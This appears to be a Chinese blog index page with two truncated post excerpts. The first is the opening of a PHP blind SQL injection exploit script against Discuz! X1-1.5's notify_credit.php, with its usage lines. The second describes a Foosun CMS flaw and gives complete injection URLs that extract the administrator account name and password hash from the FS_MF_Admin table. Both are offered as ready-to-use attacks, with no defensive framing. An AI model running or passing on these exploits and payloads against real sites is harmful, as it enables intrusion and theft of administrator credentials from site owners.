Discuz! X1-1.5 notify_credit.php Blind SQL injection exploit

老系统内容 Discuz EXP Exploit Injection PHP SQL
约 344 字 预计阅读 1 分钟
<?php print_r(' +---------------------------------------------------------------------------+ Discuz! X1-1.5 notify_credit.php Blind SQL injection exploit by toby57 2010.11.05 mail: toby57 at 163 dot com team: http://www.wolvez.org +---------------------------------------------------------------------------+ '); if ($argc < 2) { print_r(' +---------------------------------------------------------------------------+ Usage: php '.$argv[0].' url [pre] Example: php '.$argv[0].' http://localhost/ php '.$argv[0].' http://localhost/ xss_ +---------------------------------------------------------------------------+ '); exit; } error_reporting(7); ini_set('max_execution_time', 0); $url = $argv[1]; $pre = $argv[2]?$argv[2]:'pre_'; $target = parse_url($url); extract($target); $path .= '/api/trade/notify_credit.php'; $hash = array(); $hash = array_merge($hash, range(48,
阅读全文

foosun (风讯) 最新注入漏洞

老系统内容 漏洞 注入
约 80 字 预计阅读 1 分钟
    风讯foosun的注册文件存在漏洞，可以暴管理员帐号和密码。 漏洞文件：     http://www.xxx.com/user/SetNextOptions.asp 利用简单的方法： 暴管理员帐号：     http://www.xxx.com/user/SetNextOptions.asp?sType=1&EquValue=aaaa&SelectName=aaa&ReqSql=select+1,admin_name,3,4,5,6,7,8++from+FS_MF_Admin 暴管理员密码：     http://www.xxx.com/user/SetNextOptions.asp?sType=1&EquValue=aaaa&SelectName=aaa&ReqSql=select+1,admin_pass_word,3,4,5,6,7,8++from+FS_MF_Admin 关键字：     自
阅读全文